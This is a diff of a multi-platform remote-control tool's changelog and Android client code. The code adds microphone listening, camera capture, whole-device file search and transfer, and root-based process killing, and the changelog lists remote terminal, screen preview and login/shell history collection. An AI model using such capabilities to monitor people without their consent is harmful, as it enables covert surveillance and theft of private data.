- **Android 用戶端補齊**:螢幕預覽(API 30+ 無障礙擷取)、活動歷史、執行日誌上報、TLS 熱切換(OpenSSL 3.5.0 靜態連結)、主控推送 APK 升級、遠端交談 / 終端 / 剪貼簿 / 鎖屏 / 隱私遮罩 / 卸載、語音監聽,並讓遠控調校命令真正生效(先前硬編碼 Good 使自適應品質永遠無法啟動)
|
||||
- **macOS 用戶端階段 0 / 1**:TLS 傳輸、執行日誌上報、授權後自動重啟、終端與行程管理能力位、螢幕預覽、活動歷史、關鍵幀請求
|
||||
- **TLS 開箱即用**:未設定憑證時首次需要即自簽(RSA-2048,十年),可在對話框匯出 PEM,也可內嵌進產生的用戶端與下發的 DLL,首連即 TLS
|
||||
- **Linux 用戶端**:分享到另一主控(fork 子實例)、轉移到另一主控(到期自動還原)、活動歷史(有桌面走 X11,無桌面彙整登入與 shell 歷史)、記住全螢幕與遠端游標
|
||||
- **Windows 遠控**:多螢幕改抓整個虛擬桌面、擷取監視器索引跨重啟穩定、自適應品質新增吞吐判據與防振盪、調校開關改為依用戶端儲存、注入按鍵在斷線 / 切換背景時釋放
|
||||
- **主控與 Web**:進階選單「執行測試程式」(載荷在主控行程內載入,帶防誤傷標記)、檔案管理員傳輸歷史落地、功能限制與真實選單對齊(57/19/46 項)、Web 控制台裝置列表分組過濾、狀態列 TLS / MCP 狀態
|
||||
|
||||
**改進:**
|
||||
- MCP 契約與實作對齊:條件必填改 `allOf` / `if` / `then`,`outputSchema` 與實際回傳一致,說明文字逐條對過程式碼
|
||||
- 只交文字區塊的 MCP 用戶端也能看到主機 ID 與列表列;`list_files` 改為列全目錄再分頁,路徑統一 GBK
|
||||
- 終端工作階段語意:可隱式開工作階段、逾時保留並輪詢、`terminal_close` 顯式回收、忙碌時提示佔用者、取消可依 id / session_id 定位
|
||||
- 危險操作確認框列出目標主機且預設「否」;「高速 / 極速」更名為「高畫質 / 流暢」;Ctrl+F 改為即輸即篩
|
||||
- 中文行程名稱顯示、設定讀取建立空登錄子機碼、試用口令覆蓋等一批細節修正
|
||||
|
||||
**Bug 修復:**
|
||||
- 兩個能讓遠端對端打死伺服端的路徑:httplib `Content-Length: -1` 無驗證死迴圈 DoS、畸形 JPEG 觸發 libjpeg `exit()`
|
||||
- 遠控音訊偶發永久靜音(環形緩衝跨執行緒無鎖、格式封包遺失、Modern Standby 還原、端點變更)
|
||||
- 品質切換跳到另一台螢幕、從 RGB565 / DIFF 切回 H.264 凍結最長 10 秒;慢幀下自適應品質永遠棄權
|
||||
- Web 遠端畫面在解析度 / 品質變化後黑屏;Web 終端心跳重連後按鍵全部遺失
|
||||
- 遠端桌面視窗縮放後不重繪;浮動工具列品質選單一打開就收回;注入按鍵卡住修飾鍵
|
||||
- macOS 子連線執行緒洩漏(六週後達 2048 執行緒);HELL 標頭編碼固定導致約三分之一 Release 用戶端登不上 Go fallback
|
||||
- 功能限制在 32 位元主控上遺失 bit 32 以上的 40 項;執行時間跨時區恆顯示 0;登入保留區越界
|
||||
|
||||
### v1.4.2 (2026.10.31)
|
||||
|
||||
**MCP 維運套件 & WebSocket 傳輸 & 擷取畫面健壯性**
|
||||
@@ -526,7 +590,7 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
|
||||
- **前台視窗精準擷取**:PrintWindow + 伺服端 HWND by clientID 路由,遮蓋情況下仍可擷取完整視窗
|
||||
- **線上主機右鍵查看活動視窗**:即時查詢目標機器前台視窗標題
|
||||
- **TOKEN_AUTH 回應 ECDSA 簽章**:V2 私鑰簽名伺服端回應,防偽造伺服端(`TOKEN_SERVER_VERIFY = 251`)
|
||||
- **反破解版本綁定**:版本與核心函式庫綁定,阻斷替換 DLL 的破解路徑
|
||||
- **授權與完整性保護**:核心元件與版本保持一致,降低被篡改或誤用的風險
|
||||
- **子授權連線數限制**:`LicenseLimit` 欄位 + `CLicenseDlg` 右鍵選單即時設定
|
||||
|
||||
**改進:**
|
||||
|
||||
@@ -1,11 +1,25 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
|
||||
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
xmlns:tools="http://schemas.android.com/tools">
|
||||
|
||||
<uses-permission android:name="android.permission.INTERNET" />
|
||||
<!-- 文件管理(COMMAND_LIST_DRIVE):整机文件浏览/上传下载。
|
||||
Android 11+ 用「所有文件访问」特殊权限(用户在设置里开一次);
|
||||
10 及以下用运行时存储权限(Android 10 还靠 requestLegacyExternalStorage)。 -->
|
||||
<uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"
|
||||
tools:ignore="ScopedStorage" />
|
||||
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"
|
||||
android:maxSdkVersion="29" />
|
||||
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"
|
||||
android:maxSdkVersion="28" />
|
||||
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
|
||||
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC" />
|
||||
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_MEDIA_PROJECTION" />
|
||||
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_MICROPHONE" />
|
||||
<!-- 摄像头管理(COMMAND_WEBCAM):Camera2 JPEG 上行;后台使用需要 camera 类型前台服务 -->
|
||||
<uses-permission android:name="android.permission.CAMERA" />
|
||||
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_CAMERA" />
|
||||
<uses-feature android:name="android.hardware.camera" android:required="false" />
|
||||
<!-- 语音监听(COMMAND_AUDIO):AudioRecord 采集麦克风;后台采集要求前台服务带
|
||||
microphone 类型(Android 11+),类型权限在上面的 FOREGROUND_SERVICE_MICROPHONE -->
|
||||
<uses-permission android:name="android.permission.RECORD_AUDIO" />
|
||||
@@ -19,6 +33,7 @@
|
||||
|
||||
<application
|
||||
android:allowBackup="false"
|
||||
android:requestLegacyExternalStorage="true"
|
||||
android:extractNativeLibs="false"
|
||||
android:icon="@mipmap/ic_launcher"
|
||||
android:roundIcon="@mipmap/ic_launcher_round"
|
||||
@@ -43,7 +58,7 @@
|
||||
|
||||
<service
|
||||
android:name=".CaptureService"
|
||||
android:foregroundServiceType="dataSync|mediaProjection|microphone"
|
||||
android:foregroundServiceType="dataSync|mediaProjection|microphone|camera"
|
||||
android:exported="false" />
|
||||
|
||||
<service
|
||||
|
||||
@@ -4,17 +4,19 @@
|
||||
// 协议与 Windows 客户端完全一致(client/AudioManager.cpp + client/Audio.cpp):
|
||||
// 主连接 [COMMAND_AUDIO] → 子连接(ConnAuth)→ 首包单字节 [TOKEN_AUDIO_START]
|
||||
// → 服务端弹出 CAudioDlg 后回单字节 [COMMAND_NEXT] → 双向音频开始
|
||||
// 上行:[TOKEN_AUDIO_DATA:1][1000 字节 GSM 流](服务端 CAudio::PlayBuffer 固定按
|
||||
// 1000 字节一块拷贝,包长必须正好 1000,且不能短——短了服务端会越界读)
|
||||
// 上行:[TOKEN_AUDIO_DATA:1][1000 字节]。前 975 字节是 15 个完整 GSM 块,
|
||||
// 后 25 字节补零。
|
||||
// waveOut 只转换整数个 65 字节块,末尾不足一块的字节既不转换也不保留,
|
||||
// 所以 65 字节块绝不能跨包切开 —— 切开的半块会被直接丢掉,块边界一错位
|
||||
// 整条流就是噪声。服务端 CAudio::PlayBuffer 按包截断到整块,那 25 个零
|
||||
// 正好被丢掉。包长仍保持 1000:老版本服务端按 m_ulBufferLength 整块
|
||||
// 拷贝,包长小于 1000 会越界读。
|
||||
// 下行:服务端直接发裸 GSM 流(无 token,不带长度头),也是 1000 字节一块
|
||||
//
|
||||
// 编码格式是服务端 ACM 的 WAVE_FORMAT_GSM610:8000 Hz 单声道,
|
||||
// 65 字节 / 320 采样(40ms)。libgsm 的 WAV49 模式产出完全相同的打包
|
||||
// (每块 2 × 160 采样帧:第一帧 32 字节、第二帧 33 字节),见 gsm/README.md。
|
||||
// 编码与解码必须各用一个 gsm 状态:frame_index/frame_chain 是共用的。
|
||||
//
|
||||
// 语音流是连续的:1000 不是 65 的整数倍,65 字节块会跨包切开,这是允许的——
|
||||
// 服务端把每个 1000 字节缓冲按顺序写给 waveOut,编解码状态跨缓冲延续。
|
||||
#include "common/commands.h"
|
||||
#include "common/logger.h"
|
||||
#include "client/IOCPClient.h"
|
||||
@@ -30,6 +32,12 @@
|
||||
#define LOGI_AUD(...) android_log_tag(ANDROID_LOG_INFO, "YAMA_AUD", __VA_ARGS__)
|
||||
#define LOGE_AUD(...) android_log_tag(ANDROID_LOG_ERROR, "YAMA_AUD", __VA_ARGS__)
|
||||
|
||||
// 上行包:15 个 GSM 块(975 字节)+ 25 字节补零 = 1000 字节。
|
||||
// 补零是为了让包长与老协议一致(老服务端按 m_ulBufferLength 整块 memcpy,
|
||||
// 包长小于 1000 会越界读),服务端按块截断时正好把这 25 个零丢掉。
|
||||
static const size_t AUDIO_PKT_BLOCKS = 15 * 65; // 975 = 整块载荷
|
||||
static const size_t AUDIO_PKT_WIRE = 1000; // 线上包长(含尾部补零)
|
||||
|
||||
extern "C" {
|
||||
#include "gsm.h"
|
||||
}
|
||||
@@ -125,18 +133,26 @@ private:
|
||||
gsm_encode(m_enc, (gsm_signal*)samples, m_frameBuf + 32); // 33 字节
|
||||
m_frameFill = 0;
|
||||
|
||||
// 65 字节块可能跨 1000 字节包切分;音频流仍然是连续的
|
||||
// 一个包只装整数个 65 字节块,剩下的补零 —— 绝不让块跨包切开。
|
||||
// m_frameBuf 正好一块(65)、AUDIO_PKT_BLOCKS 是 15 块,所以 m_pktFill 恒为
|
||||
// 65 的倍数,room 恒 ≥ 65,一轮就拷完。room 为 0 只在常量被改成非整块数时
|
||||
// 才可能出现,那时必须跳出,否则 n=0 会死循环卡住音频线程。
|
||||
size_t off = 0;
|
||||
while (off < sizeof(m_frameBuf)) {
|
||||
const size_t n = std::min(sizeof(m_frameBuf) - off, (size_t)1000 - m_pktFill);
|
||||
const size_t room = AUDIO_PKT_BLOCKS - m_pktFill;
|
||||
const size_t n = std::min(sizeof(m_frameBuf) - off, room);
|
||||
if (n == 0)
|
||||
break;
|
||||
memcpy(m_pkt + 1 + m_pktFill, m_frameBuf + off, n);
|
||||
m_pktFill += n;
|
||||
off += n;
|
||||
if (m_pktFill == 1000) {
|
||||
m_client->Send2Server((char*)m_pkt, 1 + 1000);
|
||||
if (m_pktFill == AUDIO_PKT_BLOCKS) {
|
||||
memset(m_pkt + 1 + AUDIO_PKT_BLOCKS, 0, AUDIO_PKT_WIRE - AUDIO_PKT_BLOCKS);
|
||||
m_client->Send2Server((char*)m_pkt, 1 + AUDIO_PKT_WIRE);
|
||||
m_pktFill = 0;
|
||||
if (++m_pktsSent == 1)
|
||||
LOGI_AUD("first uplink packet sent (1+1000 bytes = 615 ms GSM)");
|
||||
LOGI_AUD("first uplink packet sent (1+%u bytes = %u ms GSM)",
|
||||
(unsigned)(1 + AUDIO_PKT_WIRE), (unsigned)(AUDIO_PKT_BLOCKS * 40 / 65));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -179,7 +195,7 @@ private:
|
||||
size_t m_pendingCount;
|
||||
uint8_t m_frameBuf[65];
|
||||
size_t m_frameFill; // 0 = 下一帧写 32 字节;32 = 下一帧写 33 字节
|
||||
uint8_t m_pkt[1 + 1000]; // [TOKEN_AUDIO_DATA][音频]
|
||||
uint8_t m_pkt[1 + AUDIO_PKT_WIRE]; // [TOKEN_AUDIO_DATA][975 字节整块 + 25 补零]
|
||||
size_t m_pktFill;
|
||||
unsigned m_pktsSent;
|
||||
|
||||
|
||||
@@ -0,0 +1,309 @@
|
||||
// FileManagerAndroid.h - Android 文件管理
|
||||
//
|
||||
// 复用 common/FileManager.h 的整套协议(列目录、上传/下载、V2 流式传输、删除/改名/
|
||||
// 新建目录)。Android 只替换三处平台差异:
|
||||
//
|
||||
// 1. 盘符模型:服务端文件管理器按 Windows 习惯显示 "C:\",这里把 Android 的存储
|
||||
// 挂成 "I:"(内部存储)、"S:"/"T:"...(SD 卡 / U 盘)、"P:"(应用私有目录)。
|
||||
// 服务端发来的 "I:\DCIM\Camera" 在这里映射回 /storage/emulated/0/DCIM/Camera。
|
||||
// 2. 控制器:存储根与「所有文件访问」状态由 Java 侧(StorageHelper)提供。
|
||||
// 3. 编码:common/FileManager.h 在 Android 上不走 iconv(NDK 的 iconv 需要
|
||||
// API 28,客户端 minSdk 是 21),改为 JNI → Java Charset,见 main.cpp。
|
||||
//
|
||||
// 未授予 MANAGE_EXTERNAL_STORAGE 时,AndroidQueryStorageRoots() 只会返回应用目录,
|
||||
// 主控打开文件管理器仍能浏览/上传下载应用私有目录,并通过一条 TOKEN_CLIENT_MSG
|
||||
// 提示运维去设置里开启全盘访问。
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <atomic>
|
||||
#include <cctype>
|
||||
#include <cstdint>
|
||||
#include <cstring>
|
||||
#include <string>
|
||||
#include <thread>
|
||||
#include <vector>
|
||||
|
||||
#include <dirent.h>
|
||||
#include <sys/stat.h>
|
||||
|
||||
#include "common/FileManager.h"
|
||||
|
||||
struct AndroidStorageRoot {
|
||||
char letter; // 'I' / 'S' / 'A'
|
||||
std::string path; // /storage/emulated/0(无尾斜杠)
|
||||
std::string label; // ASCII,服务端按 GBK 显示也不乱码
|
||||
bool removable;
|
||||
};
|
||||
|
||||
// 由 main.cpp 通过 JNI 实现(StorageHelper.roots / allFilesAccess)
|
||||
std::vector<AndroidStorageRoot> AndroidQueryStorageRoots();
|
||||
bool AndroidAllFilesAccess();
|
||||
|
||||
// 盘符 ↔ Android 路径映射。也注入给 FileTransferV2(V2 上传的落盘路径走同一套
|
||||
// 映射;见 main.cpp 里 FileTransferV2::SetPathMapper)。
|
||||
std::string AndroidMapWinPathToUnix(const std::string& winPath);
|
||||
std::string AndroidMapUnixToWinPath(const std::string& unixPath);
|
||||
|
||||
class AndroidFileManager : public FileManager
|
||||
{
|
||||
public:
|
||||
explicit AndroidFileManager(IOCPClient* client)
|
||||
: FileManager(client, /*deferredStart=*/true)
|
||||
{
|
||||
m_roots = AndroidQueryStorageRoots();
|
||||
SendDriveList();
|
||||
}
|
||||
|
||||
~AndroidFileManager()
|
||||
{
|
||||
// 搜索线程持有 this;子连接关闭后必须让它先退出,否则 UAF
|
||||
m_searchStop.store(true);
|
||||
if (m_searchThread.joinable()) m_searchThread.join();
|
||||
}
|
||||
|
||||
// 文件搜索(COMMAND_SEARCH_FILE)是文件管理器子连接上的独立协议,基类不处理;
|
||||
// 其余命令全部交回 Common 的实现。
|
||||
void OnReceive(PBYTE szBuffer, ULONG ulLength) override
|
||||
{
|
||||
if (!szBuffer || ulLength == 0) return;
|
||||
if (szBuffer[0] == COMMAND_SEARCH_FILE) {
|
||||
StartSearch(szBuffer, ulLength);
|
||||
return;
|
||||
}
|
||||
if (szBuffer[0] == COMMAND_FILES_SEARCH_STOP) {
|
||||
m_searchStop.store(true);
|
||||
return;
|
||||
}
|
||||
FileManager::OnReceive(szBuffer, ulLength);
|
||||
}
|
||||
|
||||
protected:
|
||||
void SendDriveList() override
|
||||
{
|
||||
IOCPClient* client = ClientObject();
|
||||
if (!client) return;
|
||||
|
||||
std::vector<uint8_t> buf;
|
||||
buf.reserve(1 + m_roots.size() * 40);
|
||||
buf.push_back((uint8_t)TOKEN_DRIVE_LIST);
|
||||
|
||||
for (const auto& r : m_roots) {
|
||||
unsigned long totalMB = 0, freeMB = 0;
|
||||
struct statvfs sv;
|
||||
if (statvfs(r.path.c_str(), &sv) == 0) {
|
||||
unsigned long long totalBytes = (unsigned long long)sv.f_blocks * sv.f_frsize;
|
||||
unsigned long long freeBytes = (unsigned long long)sv.f_bfree * sv.f_frsize;
|
||||
totalMB = (unsigned long)(totalBytes / 1024 / 1024);
|
||||
freeMB = (unsigned long)(freeBytes / 1024 / 1024);
|
||||
}
|
||||
|
||||
// 格式:[盘符:1][类型:1][总MB:4][可用MB:4][类型名\0][文件系统名\0]
|
||||
// 类型 2=DRIVE_REMOVABLE、3=DRIVE_FIXED(与服务端 FileManagerDlg 的
|
||||
// switch 一致)。文件系统名留空 → 对话框显示类型名。
|
||||
buf.push_back((uint8_t)r.letter);
|
||||
buf.push_back(r.removable ? 2 : 3);
|
||||
AppendLE32(buf, (uint32_t)totalMB);
|
||||
AppendLE32(buf, (uint32_t)freeMB);
|
||||
buf.insert(buf.end(), r.label.begin(), r.label.end());
|
||||
buf.push_back(0);
|
||||
buf.push_back(0);
|
||||
}
|
||||
|
||||
client->Send2Server((char*)buf.data(), (ULONG)buf.size());
|
||||
Mprintf("[FileManager] SendDriveList: %zu root(s), %zu bytes\n",
|
||||
m_roots.size(), buf.size());
|
||||
}
|
||||
|
||||
// 服务端路径(UTF-8)→ Android 文件系统路径。
|
||||
// I:\DCIM\Camera → /storage/emulated/0/DCIM/Camera
|
||||
// I: → /storage/emulated/0
|
||||
// /:\home\user → /home/user(兼容老式 Unix 写法)
|
||||
// /storage/... → 原样
|
||||
std::string winPathToLinux(const char* winPath) override
|
||||
{
|
||||
return AndroidMapWinPathToUnix(winPath ? winPath : "");
|
||||
}
|
||||
|
||||
// Android 文件系统路径 → 服务端路径。
|
||||
// /storage/emulated/0/DCIM → I:\DCIM
|
||||
// 未匹配任何存储根时退回 Linux 的 "/:\..." 写法,便于日志定位。
|
||||
std::string linuxPathToWin(const std::string& linuxPath) override
|
||||
{
|
||||
return AndroidMapUnixToWinPath(linuxPath);
|
||||
}
|
||||
|
||||
private:
|
||||
// ---- 文件搜索(与 Windows client/FileManager.cpp 的搜索协议一致)----
|
||||
// 请求:[COMMAND_SEARCH_FILE][根目录 GBK \0][模式 GBK \0]
|
||||
// 模式不含 * / ? 时自动包成 *模式*(子串、ASCII 不区分大小写)
|
||||
// 结果:[TOKEN_SEARCH_FILE_LIST]{ [attr:1][全路径 GBK \0][sizeHi:4][sizeLo:4][FILETIME:8] }*
|
||||
// 结束:[TOKEN_SEARCH_FILE_FINISH];中途收到 COMMAND_FILES_SEARCH_STOP 就尽快收尾
|
||||
static constexpr int kSearchMaxDepth = 32;
|
||||
static constexpr int kSearchMaxResults = 10000;
|
||||
|
||||
static bool WildcardMatch(const char* pattern, const char* str)
|
||||
{
|
||||
while (*pattern) {
|
||||
if (*pattern == '*') {
|
||||
++pattern;
|
||||
if (!*pattern) return true;
|
||||
while (*str) {
|
||||
if (WildcardMatch(pattern, str)) return true;
|
||||
++str;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
if (*pattern == '?') {
|
||||
if (!*str) return false;
|
||||
++pattern; ++str;
|
||||
continue;
|
||||
}
|
||||
unsigned char a = (unsigned char)*pattern++;
|
||||
unsigned char b = (unsigned char)*str++;
|
||||
if (a >= 'A' && a <= 'Z') a = (unsigned char)(a - 'A' + 'a');
|
||||
if (b >= 'A' && b <= 'Z') b = (unsigned char)(b - 'A' + 'a');
|
||||
if (a != b) return false;
|
||||
}
|
||||
return *str == '\0';
|
||||
}
|
||||
|
||||
void StartSearch(PBYTE buf, ULONG len)
|
||||
{
|
||||
// 新搜索先让上一次停下(与 Windows 端一致)
|
||||
m_searchStop.store(true);
|
||||
if (m_searchThread.joinable()) m_searchThread.join();
|
||||
m_searchStop.store(false);
|
||||
|
||||
const char* end = (const char*)buf + len;
|
||||
const char* p = (const char*)buf + 1;
|
||||
size_t pathLen = strnlen(p, (size_t)(end - p));
|
||||
if (p + pathLen >= end || p + pathLen + 1 >= end) return;
|
||||
const char* name = p + pathLen + 1;
|
||||
size_t nameLen = strnlen(name, (size_t)(end - name));
|
||||
|
||||
const std::string root = winPathToLinux(gbkToUtf8(std::string(p, pathLen)).c_str());
|
||||
std::string pattern = gbkToUtf8(std::string(name, nameLen));
|
||||
if (pattern.find('*') == std::string::npos &&
|
||||
pattern.find('?') == std::string::npos) {
|
||||
pattern = "*" + pattern + "*";
|
||||
}
|
||||
if (root.empty() || pattern.empty()) return;
|
||||
|
||||
Mprintf("[FileManager] search start: root=%s pattern=%s\n", root.c_str(), pattern.c_str());
|
||||
try {
|
||||
m_searchThread = std::thread([this, root, pattern]() {
|
||||
SearchWorker(root, pattern);
|
||||
});
|
||||
} catch (const std::exception& e) {
|
||||
Mprintf("[FileManager] search thread failed: %s\n", e.what());
|
||||
}
|
||||
}
|
||||
|
||||
void SearchWorker(const std::string& root, const std::string& pattern)
|
||||
{
|
||||
std::vector<uint8_t> batch;
|
||||
batch.push_back((uint8_t)TOKEN_SEARCH_FILE_LIST);
|
||||
int results = 0;
|
||||
|
||||
SearchDir(root, pattern, 0, batch, results);
|
||||
|
||||
if (!m_searchStop.load() && batch.size() > 1)
|
||||
SendBatch(batch);
|
||||
|
||||
BYTE done = (uint8_t)TOKEN_SEARCH_FILE_FINISH;
|
||||
if (IOCPClient* c = ClientObject())
|
||||
c->Send2Server((char*)&done, 1);
|
||||
Mprintf("[FileManager] search done: %d result(s)\n", results);
|
||||
}
|
||||
|
||||
void SearchDir(const std::string& dir, const std::string& pattern, int depth,
|
||||
std::vector<uint8_t>& batch, int& results)
|
||||
{
|
||||
if (m_searchStop.load() || depth > kSearchMaxDepth || results >= kSearchMaxResults)
|
||||
return;
|
||||
|
||||
DIR* d = opendir(dir.c_str());
|
||||
if (!d) return;
|
||||
|
||||
struct dirent* ent = nullptr;
|
||||
while ((ent = readdir(d)) != nullptr) {
|
||||
if (m_searchStop.load() || results >= kSearchMaxResults) break;
|
||||
if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0) continue;
|
||||
|
||||
std::string full = dir;
|
||||
if (full.empty() || full.back() != '/') full += '/';
|
||||
full += ent->d_name;
|
||||
|
||||
struct stat st;
|
||||
if (lstat(full.c_str(), &st) != 0) continue;
|
||||
|
||||
const bool isDir = S_ISDIR(st.st_mode);
|
||||
const bool isLink = S_ISLNK(st.st_mode);
|
||||
|
||||
// 符号链接不跟:避免循环,也避免跳出存储根
|
||||
if (!isLink && WildcardMatch(pattern.c_str(), ent->d_name))
|
||||
AppendResult(batch, results, full, isDir, st);
|
||||
|
||||
if (isDir && !isLink) {
|
||||
// 与 Windows 跳过隐藏+系统目录对应:跳过 . 开头的目录;
|
||||
// Android/data 和 Android/obb 是系统托管的大型目录,遍历没有意义
|
||||
if (ent->d_name[0] == '.') continue;
|
||||
const size_t n = full.size();
|
||||
if ((n >= 12 && full.compare(n - 12, 12, "/Android/data") == 0) ||
|
||||
(n >= 11 && full.compare(n - 11, 11, "/Android/obb") == 0))
|
||||
continue;
|
||||
SearchDir(full, pattern, depth + 1, batch, results);
|
||||
}
|
||||
}
|
||||
closedir(d);
|
||||
}
|
||||
|
||||
void AppendResult(std::vector<uint8_t>& batch, int& results,
|
||||
const std::string& fullPath, bool isDir, const struct stat& st)
|
||||
{
|
||||
const std::string winPath = linuxPathToWin(fullPath); // UTF-8 → I:\...
|
||||
const std::string gbkPath = utf8ToGbk(winPath);
|
||||
const uint64_t size = isDir ? 0 : (uint64_t)st.st_size;
|
||||
const uint64_t ft = (uint64_t)st.st_mtime * 10000000ULL + 116444736000000000ULL;
|
||||
|
||||
const size_t need = 1 + gbkPath.size() + 1 + 8 + 8;
|
||||
if (batch.size() + need > 60 * 1024 && batch.size() > 1) {
|
||||
SendBatch(batch);
|
||||
batch.assign(1, (uint8_t)TOKEN_SEARCH_FILE_LIST);
|
||||
}
|
||||
|
||||
batch.push_back(isDir ? 0x10 : 0x00);
|
||||
batch.insert(batch.end(), gbkPath.begin(), gbkPath.end());
|
||||
batch.push_back(0);
|
||||
AppendLE64(batch, size);
|
||||
AppendLE64(batch, ft);
|
||||
++results;
|
||||
}
|
||||
|
||||
void SendBatch(std::vector<uint8_t>& batch)
|
||||
{
|
||||
if (batch.size() > 1) {
|
||||
if (IOCPClient* c = ClientObject())
|
||||
c->Send2Server((char*)batch.data(), (ULONG)batch.size());
|
||||
}
|
||||
}
|
||||
|
||||
static void AppendLE64(std::vector<uint8_t>& buf, uint64_t v)
|
||||
{
|
||||
for (int i = 0; i < 8; ++i)
|
||||
buf.push_back((uint8_t)((v >> (8 * i)) & 0xFF));
|
||||
}
|
||||
|
||||
static void AppendLE32(std::vector<uint8_t>& buf, uint32_t v)
|
||||
{
|
||||
buf.push_back((uint8_t)(v & 0xFF));
|
||||
buf.push_back((uint8_t)((v >> 8) & 0xFF));
|
||||
buf.push_back((uint8_t)((v >> 16) & 0xFF));
|
||||
buf.push_back((uint8_t)((v >> 24) & 0xFF));
|
||||
}
|
||||
|
||||
std::vector<AndroidStorageRoot> m_roots;
|
||||
std::atomic<bool> m_searchStop{false};
|
||||
std::thread m_searchThread;
|
||||
};
|
||||
@@ -0,0 +1,126 @@
|
||||
// ProcessManagerAndroid.h - Android 进程管理(COMMAND_SYSTEM)
|
||||
//
|
||||
// 协议与 Linux(linux/SystemManager.h)完全一致:
|
||||
// 子连接构造即发 [TOKEN_PSLIST][pid:4][名字:架构\0][完整路径\0]...
|
||||
// 收到 COMMAND_PSLIST → 重发列表
|
||||
// 收到 COMMAND_KILLPROCESS → [pid:4]*,杀完刷新
|
||||
// 收到 COMMAND_WSLIST → 回空窗口列表(Android 没有 Windows 意义上的窗口)
|
||||
//
|
||||
// 能力前提:Android 7+ 的 /proc 是 hidepid=2 + SELinux untrusted_app 限制,
|
||||
// 普通 APK 枚举不到其它进程。本模块只在设备有 su 时启用(登录时按
|
||||
// RootProcess.isRootAvailable() 声明 CLIENT_CAP_PROCESS),非 root 设备上服务端
|
||||
// 直接返回「不支持」,不会下发 COMMAND_SYSTEM。
|
||||
//
|
||||
// 枚举/杀进程都交给 RootProcess.kt(su shell),这里只做协议封装。
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <cstdio>
|
||||
#include <cstdlib>
|
||||
#include <cstring>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
|
||||
#include "common/commands.h"
|
||||
#include "common/logger.h"
|
||||
#include "client/IOCPClient.h"
|
||||
|
||||
#define LOGE_PROC(...) android_log_tag(ANDROID_LOG_ERROR, "YAMA_PROC", __VA_ARGS__)
|
||||
|
||||
// 由 main.cpp 通过 JNI 实现(RootProcess.kt)
|
||||
bool AndroidRootAvailable();
|
||||
std::string AndroidProcessSnapshot(); // "pid\tcomm\texe\n"
|
||||
bool AndroidKillProcesses(const std::vector<int>& pids);
|
||||
|
||||
class AndroidProcessManager : public IOCPManager
|
||||
{
|
||||
public:
|
||||
explicit AndroidProcessManager(IOCPClient* client) : m_client(client)
|
||||
{
|
||||
// 与 Linux 一致:构造即发首包,服务端据此打开进程管理器
|
||||
SendProcessList();
|
||||
}
|
||||
|
||||
void OnReceive(PBYTE szBuffer, ULONG ulLength) override
|
||||
{
|
||||
if (!szBuffer || ulLength == 0) return;
|
||||
switch (szBuffer[0]) {
|
||||
case COMMAND_PSLIST:
|
||||
SendProcessList();
|
||||
break;
|
||||
case COMMAND_KILLPROCESS: {
|
||||
std::vector<int> pids;
|
||||
for (ULONG i = 1; i + 4 <= ulLength; i += 4) {
|
||||
int32_t pid = 0;
|
||||
memcpy(&pid, szBuffer + i, sizeof(int32_t));
|
||||
if (pid > 1) pids.push_back(pid);
|
||||
}
|
||||
AndroidKillProcesses(pids);
|
||||
Sleep(100); // 给内核回收留一点时间,再刷新列表
|
||||
SendProcessList();
|
||||
break;
|
||||
}
|
||||
case COMMAND_WSLIST: {
|
||||
// Android 没有可枚举的桌面窗口;回空列表让服务端的窗口管理器不挂起
|
||||
BYTE token = (BYTE)TOKEN_WSLIST;
|
||||
if (m_client) m_client->Send2Server((char*)&token, 1);
|
||||
break;
|
||||
}
|
||||
default:
|
||||
LOGE_PROC("unhandled cmd=%d", (int)szBuffer[0]);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private:
|
||||
void SendProcessList()
|
||||
{
|
||||
if (!m_client) return;
|
||||
|
||||
const std::string text = AndroidProcessSnapshot();
|
||||
std::vector<uint8_t> buf;
|
||||
buf.reserve(64 * 1024);
|
||||
buf.push_back((uint8_t)TOKEN_PSLIST);
|
||||
|
||||
const char* arch = (sizeof(void*) == 8) ? "arm64" : "arm";
|
||||
size_t start = 0;
|
||||
size_t count = 0;
|
||||
while (start < text.size()) {
|
||||
size_t nl = text.find('\n', start);
|
||||
std::string line = text.substr(
|
||||
start, nl == std::string::npos ? std::string::npos : nl - start);
|
||||
start = (nl == std::string::npos) ? text.size() : nl + 1;
|
||||
if (line.empty()) continue;
|
||||
|
||||
size_t t1 = line.find('\t');
|
||||
if (t1 == std::string::npos) continue;
|
||||
size_t t2 = line.find('\t', t1 + 1);
|
||||
std::string pidStr = line.substr(0, t1);
|
||||
std::string name = (t2 == std::string::npos)
|
||||
? line.substr(t1 + 1)
|
||||
: line.substr(t1 + 1, t2 - t1 - 1);
|
||||
std::string path = (t2 == std::string::npos) ? "" : line.substr(t2 + 1);
|
||||
|
||||
const long pid = strtol(pidStr.c_str(), nullptr, 10);
|
||||
if (pid <= 0) continue;
|
||||
|
||||
// 与 Linux 端一致:名字后面拼 ":架构",服务端按这个名字显示
|
||||
name += ":";
|
||||
name += arch;
|
||||
|
||||
const uint32_t dwPid = (uint32_t)pid;
|
||||
const uint8_t* p = (const uint8_t*)&dwPid;
|
||||
buf.insert(buf.end(), p, p + sizeof(dwPid));
|
||||
buf.insert(buf.end(), name.begin(), name.end());
|
||||
buf.push_back(0);
|
||||
buf.insert(buf.end(), path.begin(), path.end());
|
||||
buf.push_back(0);
|
||||
++count;
|
||||
}
|
||||
|
||||
m_client->Send2Server((char*)buf.data(), (ULONG)buf.size());
|
||||
LOGE_PROC("SendProcessList: %zu process(es), %zu bytes", count, buf.size());
|
||||
